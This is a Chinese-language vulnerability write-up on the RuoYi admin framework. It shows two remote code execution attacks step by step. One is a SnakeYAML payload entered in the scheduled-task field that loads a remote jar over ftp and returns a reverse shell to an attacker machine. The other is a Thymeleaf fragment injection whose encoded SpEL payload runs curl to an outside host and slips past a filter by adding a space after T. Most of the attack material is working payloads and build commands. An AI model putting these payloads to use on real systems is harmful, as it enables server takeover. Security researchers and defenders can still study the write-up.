反射+Yaml达到的代码执行

漏洞发现

在若依管理后台-系统监控-定时任务-新建,发现有个调用目标字符串的字段

若依框架redis版本 若依框架漏洞_java

查看定时任务的具体代码,定位到ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/JobInvokeUtil.java

假设我们输入com.hhddj1.hhddj2.hhddj3()

经解析后

  • beanName为com.hhddj1.hhddj2
  • methodName为hhddj3
  • methodParams为[]
/**
 * 执行方法
 *
 * @param sysJob 系统任务
 */
public static void invokeMethod(SysJob sysJob) throws Exception
{
    String invokeTarget = sysJob.getInvokeTarget();
    String beanName = getBeanName(invokeTarget);
    String methodName = getMethodName(invokeTarget);
    List<Object[]> methodParams = getMethodParams(invokeTarget);

    if (!isValidClassName(beanName))
    {
        Object bean = SpringUtils.getBean(beanName);
        invokeMethod(bean, methodName, methodParams);
    }
    else
    {
        Object bean = Class.forName(beanName).newInstance();
        invokeMethod(bean, methodName, methodParams);
    }
}

反射Runtime失败

想要通过该反射执行命令,首先想到使用java.lang.Runtime.getRuntime().exec("")

若使用该payload,则会跳到JobInvokeUtil.java的这段代码中。

Object bean = Class.forName(beanName).newInstance();
invokeMethod(bean, methodName, methodParams);

然而,想要通过Class.forName(beanName).newInstance()成功实例化,必须满足类至少有一个构造函数

  • 无参
  • public

而Runtime类的构造函数是private的,不满足条件,因此使用payloadjava.lang.Runtime.getRuntime().exec(""),会报错。

若依框架redis版本 若依框架漏洞_构造函数_02

反射ProcessBuilder失败

同样的,虽然我们可以在new ProcessBuilder的时候可以不加参数,但是并不代表ProcessBuilder的构造函数是无参的。因此使用ProcessBuilder的payload也会报错。

ProcessBuilder processBuilder = new ProcessBuilder();
processBuilder.command("/bin/bash","-c","curl http://xxx/test");
processBuilder.start();

ProcessBuilder的构造函数

public ProcessBuilder(List<String> var1) {
    if (var1 == null) {
        throw new NullPointerException();
    } else {
        this.command = var1;
    }
}

public ProcessBuilder(String... var1) {
    this.command = new ArrayList(var1.length);
    String[] var2 = var1;
    int var3 = var1.length;

    for(int var4 = 0; var4 < var3; ++var4) {
        String var5 = var2[var4];
        this.command.add(var5);
    }

}

构造Yaml类

想要代码执行,我尝试过写文件等等方式,但是都无法反射成功。

因为根据若依的定时任务代码,需要满足以下条件:

  • 类的构造函数无参且public
  • 调用的方法的参数类型只能是String/int/long/double
  • 该方法具有代码执行的潜力

因此找到Yaml类,刚好若依有一个YamlUtil类,里面使用了org.yaml.snakeyaml包。

所以我们构造了以下payload,使用ftp协议的原因是http被禁用

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["ftp://ip/yaml-payload.jar"]
  ]]
]')

yaml-payload.jar的生成过程:

1)在github上下载源码(https://github.com/artsploit/yaml-payload.git)

2)将IP和端口改成我们对应攻击机上的IP和端口

3)使用以下两条命令生成新的yaml-payload.jar,生成的yaml-payload.jar位置如下图红箭头所示。

javac src/artsploit/AwesomescriptEngineFactory.java

jar -cvf yaml-payload.jar -C src/ .

若依框架redis版本 若依框架漏洞_java_03

漏洞利用过程

1.生成yaml-payload.jar,ip写攻击机ip,端口写2333。生成之后,传到攻击机的ftp目录下。

2.攻击机:监听2333端口

若依框架redis版本 若依框架漏洞_构造函数_04

3.若依管理后台,新建定时任务,目标调用字符串写

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["ftp://攻击机ip/yaml-payload.jar"]
  ]]
]')

若依框架redis版本 若依框架漏洞_jar_05

4.攻击机上收到反弹shell

若依框架redis版本 若依框架漏洞_java_06

结合Thymeleaf注入的代码执行

在代码审计若依的时候,发现了Thymeleaf语法的一些问题,不过后来发现大佬们之前就写过很多关于Thymeleaf注入的资料。

漏洞分析

Ruoyi使用了thymeleaf-spring5,其中四个接口方法中设置了片段选择器:

http://demo.ruoyi.vip/monitor/cache/getNames

http://demo.ruoyi.vip/monitor/cache/getKeys

http://demo.ruoyi.vip/monitor/cache/getValue

http://demo.ruoyi.vip/demo/form/localrefresh/task

通过这四段接口,可以指定任意fragment,以/monitor/cache/getNames接口为例,controller代码如下:

@PostMapping("/getNames")
public String getCacheNames(String fragment, ModelMap mmap)
{
    mmap.put("cacheNames", cacheService.getCacheNames());
    return prefix + "/cache::" + fragment;
}

这四段接口方法中,都使用了thymeleaf的语法:

"/xxx::" + fragment;

我们构造fragment的值为:

%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%75%72%6c%20%68%74%74%70%3a%2f%2f%63%6d%6d%6f%76%6f%2e%63%65%79%65%2e%69%6f%2f%72%75%6f%79%69%74%65%73%74%22%29%7d

-->

${T (java.lang.Runtime).getRuntime().exec("curl http://cmmovo.ceye.io/ruoyitest")}

当我们构造的模板片段被thymeleaf解析时,thymeleaf会将识别出fragment为SpringEL表达式。不管是?fragment=header(payload)还是?fragment=payload

若依框架redis版本 若依框架漏洞_构造函数_07

但是,在执行SpringEL表达式之前,thymeleaf会去检查参数值中是否使用了"T(SomeClass)"或者"new SomeClass"

若依框架redis版本 若依框架漏洞_java_08

这个检查方法其实可以绕过,SpringEL表达式支持"T (SomeClass)"这样的语法,因此我们只要在T与恶意Class之间加个空格,就既可以绕过thymeleaf的检测规则,又可以执行SpringEL表达式。

因此payload中T与恶意Class之间含有空格,不论是空格或者制表符都可以绕过检测。

漏洞利用过程

1.将payload进行HTML编码

${T (java.lang.Runtime).getRuntime().exec("curl http://cmmovo.ceye.io/ruoyitest")}

2.填入header后面的括号中,命令成功执行,ceye监听平台收到dnslog请求

若依框架redis版本 若依框架漏洞_若依框架redis版本_09


TRANSLATE with x

English

Arabic

Hebrew

Polish

Bulgarian

Hindi

Portuguese

Catalan

Hmong Daw

Romanian

Chinese Simplified

Hungarian

Russian

Chinese Traditional

Indonesian

Slovak

Czech

Italian

Slovenian

Danish

Japanese

Spanish

Dutch

Klingon

Swedish

English

Korean

Thai

Estonian

Latvian

Turkish

Finnish

Lithuanian

Ukrainian

French

Malay

Urdu

German

Maltese

Vietnamese

Greek

Norwegian

Welsh

Haitian Creole

Persian

 

 

TRANSLATE with

COPY THE URL BELOW

Back

EMBED THE SNIPPET BELOW IN YOUR SITE


Enable collaborative features and customize widget: Bing Webmaster Portal

Back